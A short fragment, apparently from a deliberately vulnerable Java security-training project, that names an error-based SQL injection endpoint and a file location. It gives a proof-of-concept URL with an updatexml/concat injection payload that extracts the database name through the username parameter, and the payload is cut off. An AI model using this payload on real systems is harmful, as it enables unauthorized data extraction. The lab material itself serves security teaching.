MethodgetUserByUsernameErrorupdatexml报错注入 - 字符串型 @Poc http://127.0.0.1:8080/sqli/error/getUserByUsernameError?username=zhangsan' and updatexml(1,concat(0x7e,(select database()),0
src/main/java/icu/secnotes/controller/SQLI/ErrorInjectionController.java:38